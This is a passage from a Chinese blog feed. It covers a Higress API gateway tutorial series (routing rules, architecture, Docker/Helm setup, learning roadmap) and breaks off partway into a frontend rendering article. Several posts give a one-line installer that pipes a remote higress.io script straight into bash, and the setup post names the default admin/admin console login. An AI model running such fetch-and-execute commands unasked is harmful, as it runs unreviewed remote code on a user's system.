角色分离：平台工程师管 Gateway，开发管 HTTPRoute
功能更强：原生支持 Header/Query 匹配、权重、Filter
标准化：K8s 官方推荐，未来替代 Ingress

高级路由功能

权重路由（灰度发布）

metadata:
  annotations:
    higress.io/canary: "true"
    higress.io/canary-weight: "20"
spec:
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /api
            pathType: Prefix
            backend:
              service:
                name: api-canary
                port:
                  number: 8080

效果：20% 流量到 canary 服务，80% 到稳定服务。

路径改写

metadata:
  annotations:
    higress.io/rewrite-target: /v2/$1
spec:
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /api/(.*)
            pathType: ImplementationSpecific
            backend:
              service:
                name: api-service
                port:
                  number: 8080

效果：/api/users → 转发到 /v2/users

重定向

metadata:
  annotations:
    higress.io/permanent-redirect: "https://new.example.com$request_uri"
spec:
  rules:
    - host: old.example.com
      http:
        paths:
          - path: /
            pathType: Prefix
            backend:
              service:
                name: placeholder
                port:
                  number: 80

效果：所有 old.example.com 请求 301 重定向到 new.example.com

超时配置

metadata:
  annotations:
    higress.io/upstream-vhost: "api.example.com"
    higress.io/request-timeout: "30s"
    higress.io/connect-timeout: "5s"
spec:
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /api
            pathType: Prefix
            backend:
              service:
                name: api-service
                port:
                  number: 8080

重试策略

metadata:
  annotations:
    higress.io/retry-count: "3"
    higress.io/retry-timeout: "10s"
    higress.io/retry-on: "5xx,reset,connect-failure"
spec:
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /api
            pathType: Prefix
            backend:
              service:
                name: api-service
                port:
                  number: 8080

重试条件：

5xx：上游返回 5xx
reset：连接被重置
connect-failure：连接失败
retriable-4xx：可重试的 4xx（如 409）

CORS 跨域

metadata:
  annotations:
    higress.io/enable-cors: "true"
    higress.io/cors-allow-origin: "https://web.example.com"
    higress.io/cors-allow-methods: "GET,POST,PUT,DELETE"
    higress.io/cors-allow-headers: "Authorization,Content-Type"
    higress.io/cors-max-age: "86400"
spec:
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /api
            pathType: Prefix
            backend:
              service:
                name: api-service
                port:
                  number: 8080

路由优先级

匹配顺序（从高到低）：
1. 精确路径（Exact）
2. 最长前缀（Prefix，/api/v1 > /api）
3. 正则路径（ImplementationSpecific）
4. Header/Query 匹配（更具体的优先）
5. 权重路由（按比例分配）

示例：
/api/v1/users     → 匹配 /api/v1（最长前缀）
/api/v1           → 匹配 /api/v1
/api/v2/orders    → 匹配 /api（前缀）
/api              → 匹配 /api
/health           → 无匹配，返回 404

实战案例

案例 1：多环境路由

# 开发环境
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: api-dev
  annotations:
    higress.io/header-match: "X-Env:dev"
spec:
  ingressClassName: higress
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /api
            pathType: Prefix
            backend:
              service:
                name: api-dev
                port:
                  number: 8080

---
# 生产环境
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: api-prod
spec:
  ingressClassName: higress
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /api
            pathType: Prefix
            backend:
              service:
                name: api-prod
                port:
                  number: 8080

案例 2：A/B 测试

# 版本 A（80%）
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: ab-test-a
  annotations:
    higress.io/canary: "true"
    higress.io/canary-weight: "80"
spec:
  ingressClassName: higress
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /api
            pathType: Prefix
            backend:
              service:
                name: api-version-a
                port:
                  number: 8080

---
# 版本 B（20%）
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: ab-test-b
  annotations:
    higress.io/canary: "true"
    higress.io/canary-weight: "20"
spec:
  ingressClassName: higress
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /api
            pathType: Prefix
            backend:
              service:
                name: api-version-b
                port:
                  number: 8080

案例 3：API 版本管理

# v1 API（旧版本，兼容）
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: api-v1
  annotations:
    higress.io/rewrite-target: /$1
spec:
  ingressClassName: higress
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /v1/(.*)
            pathType: ImplementationSpecific
            backend:
              service:
                name: api-legacy
                port:
                  number: 8080

---
# v2 API（新版本）
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: api-v2
  annotations:
    higress.io/rewrite-target: /$1
spec:
  ingressClassName: higress
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /v2/(.*)
            pathType: ImplementationSpecific
            backend:
              service:
                name: api-new
                port:
                  number: 8080

常见问题

Q1: Ingress 配置不生效

# 1. 检查 Ingress 状态
kubectl get ingress -n default
kubectl describe ingress demo-ingress -n default

# 2. 检查 Higress Controller 日志
kubectl logs -n higress-system deploy/higress-controller

# 3. 确认 ingressClassName
spec:
  ingressClassName: higress   # 必须是 higress

# 4. 确认 Service 存在且 Endpoint 正常
kubectl get svc httpbin -n default
kubectl get endpoints httpbin -n default

Q2: 路由匹配顺序混乱

# 查看 Envoy 实际路由配置
kubectl exec -n higress-system deploy/higress-gateway -- \
  curl -s localhost:15000/config_dump | jq '.configs[] | select(.["@type"]=="type.googleapis.com/envoy.admin.v3.RoutesConfigDump")'

# 简化排查：用 curl -v 看响应头
curl -v -H "Host: api.example.com" http://<gateway-ip>/api/v1/users
# 查看 X-Envoy-Upstream-Service-Time 等 Header 确认路由到了哪个服务

Q3: 正则路径不生效

# 必须加注解
annotations:
  higress.io/use-regex: "true"

# pathType 必须是 ImplementationSpecific
pathType: ImplementationSpecific

# 路径用正则语法
path: /api/(.*)

复习卡片

[!TIP] 快速复习清单

两种路由标准：Ingress（兼容）、Gateway API（推荐新项目）

路径匹配：Exact（精确）、Prefix（前缀）、ImplementationSpecific（正则）

高级匹配：Header（higress.io/header-match）、Query（higress.io/query-match）

权重路由：higress.io/canary-weight: "20"（灰度发布）

路径改写：higress.io/rewrite-target: /v2/$1

重定向：higress.io/permanent-redirect（301）/ temporal-redirect（302）

超时重试：request-timeout、retry-count、retry-on: 5xx,reset

CORS：enable-cors、cors-allow-origin/methods/headers

优先级：精确 > 最长前缀 > 正则 > Header/Query > 权重

[!TIP] 下一篇：服务发现将讲解如何对接 K8s/Nacos/Consul/Eureka/DNS/静态服务，实现动态服务发现。

返回 Higress 学习路线总览 | 合集页

Higress 核心概念

Thu, 17 Sep 2026 03:00:00 GMT

[!NOTE] 理解核心概念是掌握 Higress 的关键。本文从架构分层、组件关系、配置模型三个维度拆解 Higress 的设计哲学。

Higress 架构全景

┌─────────────────────────────────────────────────────────┐
│                    Higress Console                       │
│              （Web UI / 配置管理 / 监控）                 │
└──────────────────────┬──────────────────────────────────┘
                       │ 配置下发（gRPC/xDS）
                       ▼
┌─────────────────────────────────────────────────────────┐
│              Higress Controller（控制面）                 │
│  ┌─────────────┐  ┌─────────────┐  ┌─────────────────┐ │
│  │  Ingress    │  │  Gateway    │  │   WasmPlugin    │ │
│  │ Controller  │  │ API Ctrl    │  │   Controller    │ │
│  └─────────────┘  └─────────────┘  └─────────────────┘ │
│  ┌─────────────────────────────────────────────────────┐│
│  │         Istio Pilot（配置转换 + xDS 下发）           ││
│  └─────────────────────────────────────────────────────┘│
└──────────────────────┬──────────────────────────────────┘
                       │ xDS 协议（LDS/RDS/CDS/EDS）
                       ▼
┌─────────────────────────────────────────────────────────┐
│              Higress Gateway（数据面）                    │
│  ┌─────────────────────────────────────────────────────┐│
│  │                    Envoy Proxy                       ││
│  │  ┌─────────┐  ┌─────────┐  ┌─────────────────────┐ ││
│  │  │Listener │→ │ Route   │→ │  Cluster (Upstream) │ ││
│  │  └─────────┘  └─────────┘  └─────────────────────┘ ││
│  │  ┌─────────────────────────────────────────────────┐││
│  │  │         Wasm Sandbox（插件运行时）               │││
│  │  │  ┌────────┐ ┌────────┐ ┌────────┐              │││
│  │  │  │ JWT    │ │ Rate   │ │ Custom │  ...         │││
│  │  │  │ Plugin │ │ Limit  │ │ Plugin │              │││
│  │  │  └────────┘ └────────┘ └────────┘              │││
│  │  └─────────────────────────────────────────────────┘││
│  └─────────────────────────────────────────────────────┘│
└─────────────────────────────────────────────────────────┘

核心组件详解

1. Envoy（数据面内核）

Envoy 是什么：Lyft 开源的高性能 C++ 代理，CNCF 毕业项目，Istio 默认数据面。

核心能力：

L4/L7 代理（TCP/HTTP/HTTP2/gRPC）
动态配置（xDS API，无需重启）
可观测性（内置 Metrics/Tracing/Logging）
扩展性（Wasm/Lua/原生 C++ Filter）

Envoy 核心概念：

概念	说明	Higress 对应
Listener	监听端口，接收连接	Gateway 端口（80/443）
Route	路由规则，匹配请求	Ingress/Gateway API 路由
Cluster	上游服务集群	Service（K8s/Nacos/DNS）
Endpoint	Cluster 中的具体实例	Pod IP / 服务实例
Filter	请求/响应处理链	Wasm 插件

xDS 协议族：

LDS (Listener Discovery Service)  → 发现监听器配置
RDS (Route Discovery Service)     → 发现路由规则
CDS (Cluster Discovery Service)   → 发现上游集群
EDS (Endpoint Discovery Service)  → 发现集群端点
SDS (Secret Discovery Service)    → 发现 TLS 证书

2. Istio（控制面基座）

Istio 是什么：CNCF 服务网格项目，提供流量管理、安全、可观测性。

Higress 为什么用 Istio：

复用 Istio Pilot 的配置转换能力（K8s CRD → Envoy xDS）
复用 Istio 的服务发现（K8s Service Registry）
复用 Istio 的证书管理（Citadel）
避免重复造轮子

Higress 对 Istio 的裁剪：

去掉 Sidecar 注入（网关场景不需要）
去掉 Mixer（性能瓶颈，已废弃）
保留 Pilot（配置下发核心）
扩展 WasmPlugin CRD（Istio 原生不支持）

3. Wasm（扩展机制）

Wasm 是什么：WebAssembly，二进制指令格式，沙箱隔离，多语言支持。

为什么用 Wasm 而不是 Lua/原生 Filter：

维度	Wasm	Lua	原生 C++ Filter
语言	Go/Rust/AssemblyScript/C++	Lua	C++
沙箱	✅ 强隔离	⚠️ 弱隔离	❌ 无隔离
热更新	✅ 不停机	✅	❌ 需重编译
性能	~原生 80-90%	~原生 50%	100%
生态	快速增长	成熟	门槛高
安全性	内存隔离	可能崩溃 Envoy	可能崩溃 Envoy

Proxy-Wasm 规范：

Envoy 官方的 Wasm 扩展标准
定义宿主（Envoy）与插件（Wasm）的 ABI 接口
插件通过 SDK 调用宿主能力（读 Header、发 HTTP 请求、写日志等）

Higress 配置模型

四层配置对象

┌─────────────────────────────────────────┐
│  Domain（域名）                          │
│  ├── Route（路由规则）                   │
│  │   ├── Match（匹配条件）               │
│  │   │   ├── Path（路径）                │
│  │   │   ├── Header（请求头）            │
│  │   │   └── Query（查询参数）           │
│  │   └── Action（动作）                  │
│  │       ├── Forward（转发到服务）        │
│  │       ├── Redirect（重定向）          │
│  │       └── Rewrite（改写）             │
│  └── Plugin（插件配置）                  │
│      ├── 全局级                          │
│      ├── 域名级                          │
│      ├── 路由级                          │
│      └── 服务级                          │
└─────────────────────────────────────────┘

配置优先级

路由级 > 域名级 > 服务级 > 全局级

示例：
- 全局配置限流 1000 QPS
- 域名 api.example.com 配置限流 500 QPS
- 路由 /api/v1/* 配置限流 100 QPS
- 路由 /api/v2/* 配置限流 200 QPS

最终生效：
/api/v1/* → 100 QPS（路由级覆盖）
/api/v2/* → 200 QPS（路由级覆盖）
其他 api.example.com 路径 → 500 QPS（域名级）
其他域名 → 1000 QPS（全局级）

CRD 资源类型

CRD	作用	对应 K8s 资源
Ingress	路由规则（兼容 K8s 标准）	networking.k8s.io/v1 Ingress
Gateway API	路由规则（新一代标准）	gateway.networking.k8s.io
McpBridge	服务发现配置	Higress 自定义
WasmPlugin	Wasm 插件配置	extensions.higress.io/v1alpha1
ConfigMap	全局配置	v1 ConfigMap

配置下发流程

用户操作
   │
   ▼
Higress Console（Web UI）
   │
   ▼ 写入 K8s CRD（Ingress/WasmPlugin/McpBridge）
   │
   ▼
Higress Controller（监听 CRD 变化）
   │
   ▼ 转换为 Envoy 配置（xDS）
   │
   ▼ gRPC 推送到 Higress Gateway
   │
   ▼
Envoy 动态加载配置（无需重启）
   │
   ▼ 生效

关键特性：

声明式配置：用户写 CRD，Controller 负责转换
动态下发：配置变更秒级生效，无需重启网关
最终一致性：Controller 持续 reconcile，确保配置同步

服务发现模型

支持的服务来源

类型	说明	配置方式
K8s Service	原生 K8s 服务发现	自动（无需配置）
Nacos	阿里开源注册中心	McpBridge CRD
Consul	HashiCorp 服务发现	McpBridge CRD
Eureka	Netflix 服务发现	McpBridge CRD
DNS	域名解析	McpBridge CRD
静态	手动配置 IP:Port	McpBridge CRD

McpBridge 示例

apiVersion: networking.higress.io/v1
kind: McpBridge
metadata:
  name: default
  namespace: higress-system
spec:
  registries:
    - name: nacos-registry
      type: nacos
      nacosGroups:
        - DEFAULT_GROUP
      nacosServer: nacos.nacos.svc.cluster.local:8848
    
    - name: dns-registry
      type: dns
      domain: api.example.com
      port: 443
      protocol: https

插件模型

插件生命周期

请求进入 Envoy
   │
   ▼
Listener Filter（L4）
   │
   ▼
HTTP Filter Chain（L7）
   │
   ├── Wasm Plugin 1（如：JWT 认证）
   │      ├── OnHttpRequestHeaders
   │      ├── OnHttpRequestBody
   │      └── OnHttpResponseHeaders
   │
   ├── Wasm Plugin 2（如：限流）
   │      └── OnHttpRequestHeaders
   │
   └── Router Filter（转发到上游）
   │
   ▼
上游服务响应
   │
   ▼
Wasm Plugin（OnHttpResponse*）
   │
   ▼
返回客户端

插件钩子函数

钩子	触发时机	典型用途
OnHttpRequestHeaders	收到请求头	认证、限流、路由改写
OnHttpRequestBody	收到请求体	内容审核、数据校验
OnHttpResponseHeaders	收到响应头	添加 Header、日志
OnHttpResponseBody	收到响应体	响应改写、脱敏
OnLog	请求完成	访问日志、Metrics

与传统网关对比

维度	Nginx	Spring Cloud Gateway	Higress
内核	C（Nginx）	Java（Netty）	C++（Envoy）
配置	nginx.conf（静态）	YAML（需重启）	CRD（动态下发）
扩展	Lua/C Module	Java Filter	Wasm（多语言）
服务发现	手动/DNS	Eureka/Nacos	K8s/Nacos/Consul/DNS
热更新	reload（短暂中断）	需重启	xDS（无中断）
可观测性	需额外模块	Spring Actuator	内置 Metrics/Tracing
云原生	❌	⚠️ 部分	✅ K8s 原生
性能	⭐⭐⭐⭐⭐	⭐⭐⭐	⭐⭐⭐⭐⭐

复习卡片

[!TIP] 快速复习清单

架构分层：Console（UI）→ Controller（控制面）→ Gateway（数据面/Envoy）

三大内核：Envoy（代理）、Istio（配置转换）、Wasm（扩展）

xDS 协议：LDS/RDS/CDS/EDS/SDS，动态配置无需重启

配置模型：Domain → Route → Plugin，优先级：路由级 > 域名级 > 服务级 > 全局级

CRD 资源：Ingress/Gateway API（路由）、McpBridge（服务发现）、WasmPlugin（插件）

服务发现：K8s/Nacos/Consul/Eureka/DNS/静态，通过 McpBridge 配置

插件钩子：OnHttpRequestHeaders/Body、OnHttpResponseHeaders/Body、OnLog

vs 传统网关：动态配置、Wasm 多语言扩展、K8s 原生、内置可观测性

[!TIP] 下一篇：路由配置将详细讲解 Ingress/Gateway API 路由规则、域名/路径/Header/Query 匹配、权重路由、路径改写等实战配置。

返回 Higress 学习路线总览 | 合集页

Higress 环境搭建

Thu, 17 Sep 2026 02:30:00 GMT

[!NOTE] 本文讲解 Higress 的三种部署方式，从快速体验到生产级部署，覆盖不同场景需求。

部署方式对比

方式	适用场景	复杂度	生产可用
Docker Compose	本地体验、开发测试	⭐	❌
Kubernetes + Helm	生产环境、云原生	⭐⭐⭐	✅
本地源码编译	插件开发、二次开发	⭐⭐⭐⭐	❌

方式一：Docker Compose（快速体验）

一键安装脚本

# 官方一键脚本（最简单）
curl -fsSL https://higress.io/standalone/get-higress.sh | bash -s -- -a

# 参数说明：
# -a: 自动安装依赖（Docker/Docker Compose）
# -c: 指定配置目录（默认 ~/.higress）
# -p: 指定端口（默认 8080/8443）

手动 Docker Compose

# docker-compose.yml
version: '3.8'

services:
  higress:
    image: higress-registry.cn-hangzhou.cr.aliyuncs.com/higress/all-in-one:latest
    container_name: higress
    ports:
      - "8080:8080"     # HTTP 网关端口
      - "8443:8443"     # HTTPS 网关端口
      - "8001:8001"     # Higress Console 端口
    volumes:
      - ./data:/data    # 持久化配置
    restart: unless-stopped
    environment:
      - CONFIG_TEMPLATE=standalone

# 启动
docker compose up -d

# 查看日志
docker compose logs -f higress

# 访问 Console
open http://localhost:8001

验证安装

# 检查容器状态
docker ps | grep higress

# 测试网关（默认返回 404，因为没有配置路由）
curl -i http://localhost:8080

# 查看 Higress 版本
docker exec higress higress version

方式二：Kubernetes + Helm（生产推荐）

前置要求

Kubernetes 1.28+
Helm 3.8+
kubectl 配置好集群访问

准备 K8s 集群（本地实验）

# 方案 1：kind（推荐，轻量）
kind create cluster --name higress

# 方案 2：minikube
minikube start --cpus=4 --memory=8192

# 方案 3：云厂商 K8s（ACK/TKE/CCE/EKS）
# 按厂商文档创建集群

Helm 安装 Higress

# 1. 添加 Helm 仓库
helm repo add higress https://higress.io/helm-charts
helm repo update

# 2. 查看可用版本
helm search repo higress --versions

# 3. 安装（生产配置）
helm install higress higress/higress \
  -n higress-system \
  --create-namespace \
  --set global.local=false \
  --set higress-core.controller.replicas=2 \
  --set higress-core.gateway.replicas=2 \
  --set higress-console.replicas=1

# 4. 等待部署完成
kubectl wait --for=condition=available deployment/higress-controller \
  -n higress-system --timeout=300s

Helm Values 配置详解

# values.yaml（生产推荐配置）
global:
  local: false                    # 非本地模式
  o11y:
    enabled: true                 # 启用可观测性
    grafana:
      enabled: true

higress-core:
  controller:
    replicas: 2                   # 控制面副本数（高可用）
    resources:
      requests:
        cpu: 500m
        memory: 512Mi
      limits:
        cpu: 2000m
        memory: 2Gi
  
  gateway:
    replicas: 2                   # 数据面副本数（按流量调整）
    resources:
      requests:
        cpu: 1000m
        memory: 1Gi
      limits:
        cpu: 4000m
        memory: 4Gi
    service:
      type: LoadBalancer          # 生产用 LoadBalancer，测试用 NodePort
      annotations:
        # 云厂商 SLB 注解（按实际调整）
        service.beta.kubernetes.io/alibaba-cloud-loadbalancer-spec: "slb.s2.small"

higress-console:
  replicas: 1
  service:
    type: ClusterIP               # 通过 Ingress 暴露，不直接 LoadBalancer
  admin:
    password: "your-strong-password"  # 务必修改默认密码

验证 K8s 部署

# 检查 Pod 状态
kubectl get pods -n higress-system
# NAME                                    READY   STATUS    RESTARTS   AGE
# higress-controller-xxx                  1/1     Running   0          2m
# higress-gateway-xxx                     1/1     Running   0          2m
# higress-console-xxx                     1/1     Running   0          2m

# 检查 Service
kubectl get svc -n higress-system
# NAME                TYPE           CLUSTER-IP      EXTERNAL-IP     PORT(S)
# higress-gateway     LoadBalancer   10.96.xxx.xxx   47.xxx.xxx.xxx  80:3xxxx/TCP,443:3xxxx/TCP

# 访问网关
curl -i http://<EXTERNAL-IP>

# 访问 Console（通过 port-forward）
kubectl port-forward svc/higress-console 8001:8001 -n higress-system
open http://localhost:8001

方式三：本地开发环境（插件开发）

安装依赖

# Go 1.24+（Wasm 插件开发必需）
# 下载：https://go.dev/dl/
go version  # 确认 go1.24.x

# Docker（构建 Wasm 镜像）
docker --version

# kubectl（K8s 操作）
kubectl version --client

# helm（Higress 部署）
helm version

# oras（OCI 镜像推送）
oras version

本地 Higress 开发环境

# 1. 克隆 Higress 源码
git clone https://github.com/alibaba/higress.git
cd higress

# 2. 启动本地 K8s（kind）
make kind-up

# 3. 部署 Higress（开发模式）
make deploy-dev

# 4. 验证
kubectl get pods -n higress-system

Wasm 插件开发环境

# 1. 克隆 wasm-go SDK
git clone https://github.com/higress-group/wasm-go.git
cd wasm-go

# 2. 创建插件项目
mkdir my-plugin && cd my-plugin
go mod init my-plugin

# 3. 编写 main.go（见第 09 篇）

# 4. 编译 Wasm
GOOS=wasip1 GOARCH=wasm go build -o plugin.wasm

# 5. 本地测试（用 Higress 开发环境加载）

Higress Console 使用

访问 Console

# K8s 部署：port-forward
kubectl port-forward svc/higress-console 8001:8001 -n higress-system

# Docker Compose：直接访问
open http://localhost:8001

# 默认账号密码：admin / admin（首次登录强制修改）

Console 功能概览

模块	功能
概览	网关状态、QPS、延迟、错误率监控
路由管理	可视化配置域名、路径、Header 路由规则
服务来源	配置服务发现（K8s/Nacos/Consul/DNS/静态）
插件市场	浏览、安装、配置 Wasm 插件
策略配置	限流、熔断、重试、超时、CORS 等
监控告警	Prometheus/Grafana 集成、日志查询
系统设置	用户管理、权限、全局配置

通过 Console 配置第一个路由

1. 登录 Console → 路由管理 → 创建路由
2. 填写：
   - 路由名称：demo-route
   - 域名：demo.example.com
   - 路径：/api/*
   - 目标服务：httpbin（内置测试服务）
3. 保存 → 测试：
   curl -H "Host: demo.example.com" http://<gateway-ip>/api/get

常见问题

Q1: Docker Compose 启动失败，端口被占用

# 查看端口占用
lsof -i :8080
# 或
netstat -tlnp | grep 8080

# 修改 docker-compose.yml 端口映射
ports:
  - "18080:8080"   # 改用 18080

Q2: K8s 部署后 Pod 一直 Pending

# 查看 Pod 事件
kubectl describe pod <pod-name> -n higress-system

# 常见原因：
# 1. 资源不足 → 调整 replicas 或 resources
# 2. 存储类缺失 → 检查 PVC 状态
# 3. 镜像拉取失败 → 检查 imagePullSecrets

Q3: Console 无法访问

# 检查 Service
kubectl get svc higress-console -n higress-system

# 检查 Pod 日志
kubectl logs -n higress-system deploy/higress-console

# 确认 port-forward 正常
kubectl port-forward svc/higress-console 8001:8001 -n higress-system

Q4: Wasm 插件编译失败

# 确认 Go 版本
go version  # 需要 go1.24+

# 确认环境变量
echo $GOOS   # 编译时设为 wasip1
echo $GOARCH # 编译时设为 wasm

# 正确编译命令
GOOS=wasip1 GOARCH=wasm go build -o plugin.wasm

复习卡片

[!TIP] 快速复习清单

三种部署方式：Docker Compose（体验）、K8s+Helm（生产）、源码编译（开发）

Docker Compose：curl -fsSL https://higress.io/standalone/get-higress.sh | bash -s -- -a

K8s Helm：helm install higress higress/higress -n higress-system --create-namespace

核心组件：higress-controller（控制面）、higress-gateway（数据面）、higress-console（Web UI）

Console 访问：port-forward 8001 端口，默认 admin/admin

Wasm 插件编译：Go 1.24+，GOOS=wasip1 GOARCH=wasm go build

生产配置要点：controller/gateway 各 2 副本、LoadBalancer Service、强密码

[!TIP] 下一篇：核心概念将深入讲解 Higress 的架构设计：Envoy/Istio/Wasm 的关系、数据面与控制面、路由/服务/域名/插件模型。

返回 Higress 学习路线总览 | 合集页

Higress 学习路线总览

Thu, 17 Sep 2026 02:00:00 GMT

[!NOTE] 本系列共 15 篇文章，面向希望系统学习 Higress 云原生 API 网关的后端/运维/架构师，也适合想从 Nginx/Spring Cloud Gateway 迁移到云原生网关的开发者。

学习路径：环境搭建 → 核心概念 → 网关功能 → Wasm 插件 → AI 网关 → 生产实战

知识地图

Higress 学习路线
│
├── 基础篇
│   ├── 01 环境搭建（Docker/K8s/Helm/Console）
│   └── 02 核心概念（Envoy/Istio/Wasm/数据面/控制面）
│
├── 网关功能篇
│   ├── 03 路由配置（Ingress/Gateway API/域名/路径/Header/权重）
│   ├── 04 服务发现（K8s/Nacos/Consul/Eureka/DNS/静态）
│   ├── 05 流量治理（限流/熔断/重试/超时/灰度/金丝雀）
│   ├── 06 安全认证（JWT/OAuth2/API Key/CORS/WAF/mTLS）
│   └── 07 可观测性（日志/Metrics/Tracing/Prometheus/Grafana）
│
├── Wasm 插件篇
│   ├── 08 Wasm 插件基础（Proxy-Wasm/沙箱/热更新/OCI 分发）
│   ├── 09 Go 开发 Wasm 插件（wasm-go SDK/钩子/编译/调试）
│   └── 10 Wasm 插件实战（JWT 认证/请求改写/限流/灰度）
│
└── 高级篇
    ├── 11 AI 网关（LLM 路由/Token 限流/Prompt 改写/多模型）
    ├── 12 Console 与运维（Web 控制台/配置管理/升级/故障排查）
    ├── 13 网关选型对比（Higress vs APISIX vs Kong vs SCG vs Nginx）
    └── 14 生产最佳实践（高可用/性能调优/安全加固/CI/CD/多集群）

文章索引

基础篇

编号	标题	核心内容
01	环境搭建	Docker/K8s/Helm 部署、Higress Console、本地开发环境
02	核心概念	Envoy/Istio/Wasm、数据面/控制面、路由/服务/域名/插件模型

网关功能篇

编号	标题	核心内容
03	路由配置	Ingress/Gateway API、域名/路径/Header/Query/权重路由
04	服务发现	K8s Service/Nacos/Consul/Eureka/DNS/静态服务
05	流量治理	限流/熔断/重试/超时/灰度发布/金丝雀/蓝绿
06	安全认证	JWT/OAuth2/API Key/CORS/WAF/mTLS/IP 黑白名单
07	可观测性	访问日志/Metrics/Tracing/Prometheus/Grafana/SkyWalking

Wasm 插件篇

编号	标题	核心内容
08	Wasm 插件基础	Proxy-Wasm 规范、沙箱隔离、热更新、OCI 镜像分发
09	Go 开发 Wasm 插件	wasm-go SDK、钩子函数、编译调试、插件发布
10	Wasm 插件实战	JWT 认证插件、请求改写插件、限流插件、灰度插件

高级篇

编号	标题	核心内容
11	AI 网关	LLM 路由、Token 限流、Prompt 改写、多模型负载、内容审核
12	Console 与运维	Web 控制台、配置管理、版本升级、监控告警、故障排查
13	网关选型对比	Higress vs APISIX vs Kong vs Spring Cloud Gateway vs Nginx
14	生产最佳实践	高可用部署、性能调优、安全加固、CI/CD、多集群管理

学习路径建议

按角色选择

角色	推荐路径	重点章节
后端开发	01→02→03→04→05→06→07	路由、服务发现、流量治理
运维/SRE	01→02→07→12→14	可观测性、Console、生产实践
架构师	02→13→14→11	核心概念、选型对比、AI 网关
插件开发者	02→08→09→10	Wasm 基础、Go 开发、实战
全栈/技术负责人	全部按顺序	系统性掌握

按时间规划

阶段	时长	内容
入门	1-2 天	01 环境搭建 + 02 核心概念
基础功能	3-5 天	03-07 路由/服务发现/流量/安全/可观测
Wasm 插件	5-7 天	08-10 基础/Go 开发/实战
高级进阶	3-5 天	11-14 AI 网关/运维/选型/最佳实践
总计	2-3 周	完整掌握 Higress

前置知识

必备：Linux 基础、Docker、HTTP 协议
推荐：Kubernetes 基础（Pod/Service/Ingress）、Go 语言（Wasm 插件开发）
可选：Envoy/Istio 经验（理解更深）、Nginx 配置（对比学习）

环境准备

# 本地实验环境（二选一）

# 方案 1：Docker Compose（最简单，适合快速体验）
curl -fsSL https://higress.io/standalone/get-higress.sh | bash -s -- -a

# 方案 2：Kubernetes（生产级，推荐）
# 需要先准备 K8s 集群（minikube/kind/云厂商 K8s）
helm repo add higress https://higress.io/helm-charts
helm install higress higress/higress -n higress-system --create-namespace

# 验证
kubectl get pods -n higress-system
# 应该看到 higress-controller、higress-gateway、higress-console 等 Pod

系列约定

配置示例：以 YAML 为主（K8s CRD / Helm values）
代码示例：Go 语言（Wasm 插件开发）
版本基准：Higress 2.x（2026 年最新稳定版）
环境基准：Kubernetes 1.28+、Docker 24+、Go 1.24+

[!TIP] 下一篇：环境搭建将详细讲解 Docker Compose、Kubernetes Helm、本地开发环境三种部署方式，以及 Higress Console 的使用。

返回 Higress 学习路线合集

前端深水区实战：配置驱动渲染 / 2D×3D 协同 / Hybrid 硬件链路 / 离线包热更新

Wed, 16 Sep 2026 16:00:00 GMT

[!NOTE] 本文是《前端面试宝典》的深水区实战收官篇，是资深前端核心能力问答的落地续篇。真正拉开差距的不是"会用多少框架"，而是有没有在几个深水区问题上完整走过"分析 → 设计 → 落地 → 治理"闭环。这里挑五个投入最深、最有复用价值的实践，把设计思路和踩坑细节完整写出来。

一、配置驱动渲染：驯服「模板 × 场景 × 画幅」的组合爆炸

1.1 问题背景

业务里有一类需求非常典型：同一套内容模板，要投放到不同场景（不同数据源、主题、语言），适配不同画幅（横屏 16:9、竖屏 9:16、方屏 1:1、异形分辨率的设备屏）。

最直觉的写法是每个组合写一份布局代码。组合数量是 模板 N × 场景 M × 画幅 K——我们当时 N=12、M=5、K=8，理论组合 480 种。即使大量组合共享逻辑，代码里也长满了这种分支：

// 反例：组合爆炸的分支代码
if (template === 'poster' && scene === 'retail') {
  if (ratio === '9:16') { /* 一套布局逻辑 */ }
  else if (ratio === '16:9') { /* 又一套 */ }
}

后果是：新增一个画幅要改 12 个模板；一个布局 bug 要在多个分支里修多次；测试矩阵没法穷举，线上适配问题层出不穷。

1.2 设计思路：把组合从代码空间搬到配置空间

核心决策：代码只实现"渲染规则"，配置描述"具体组合"。架构分四层：

┌─────────────────────────────────────────────┐
│ Schema 层   元素结构 + 可变属性声明           │
├─────────────────────────────────────────────┤
│ 约束层     画幅适配规则（对齐/伸缩/溢出策略）  │
├─────────────────────────────────────────────┤
│ 场景层     数据源/主题/语言 变量注入           │
├─────────────────────────────────────────────┤
│ 运行时     统一渲染管线（Konva / DOM 双渲染器）│
└─────────────────────────────────────────────┘

1.3 关键设计细节

① Schema：声明"有什么"，不声明"怎么摆"

{
  "template": "poster-v2",
  "elements": [
    {
      "id": "title",
      "type": "text",
      "binding": "$.data.productName",   // 数据绑定表达式
      "style": { "fontSize": 64, "fontWeight": 700 },
      "constraints": { "align": "top-stretch", "minScale": 0.6, "overflow": "shrink-to-fit" }
    },
    {
      "id": "qrcode",
      "type": "image",
      "constraints": { "align": "bottom-right", "fixedRatio": true, "minSize": 120 }
    }
  ]
}

② 约束求解：画幅变化 ≠ 等比缩放

这是最容易做错的地方。等比缩放会导致竖屏上标题小到不可读、二维码超出安全区。我们为每个元素声明伸缩优先级和溢出策略：

align：锚定规则（吸顶、吸底、拉伸、居中）；
priority：空间不足时的压缩顺序——先压缩装饰元素的留白，再缩文字（不低于 minScale），最后才对非关键元素执行 overflow: hide；
safeArea：画幅级的安全区声明，任何元素不得溢出。

求解器在渲染前跑一遍，输出一套针对当前画幅的绝对布局结果，渲染器只负责画，不含任何适配逻辑：

function solve(schema: TemplateSchema, viewport: Viewport): LayoutResult {
  const anchored = applyAnchors(schema.elements, viewport);      // 锚定
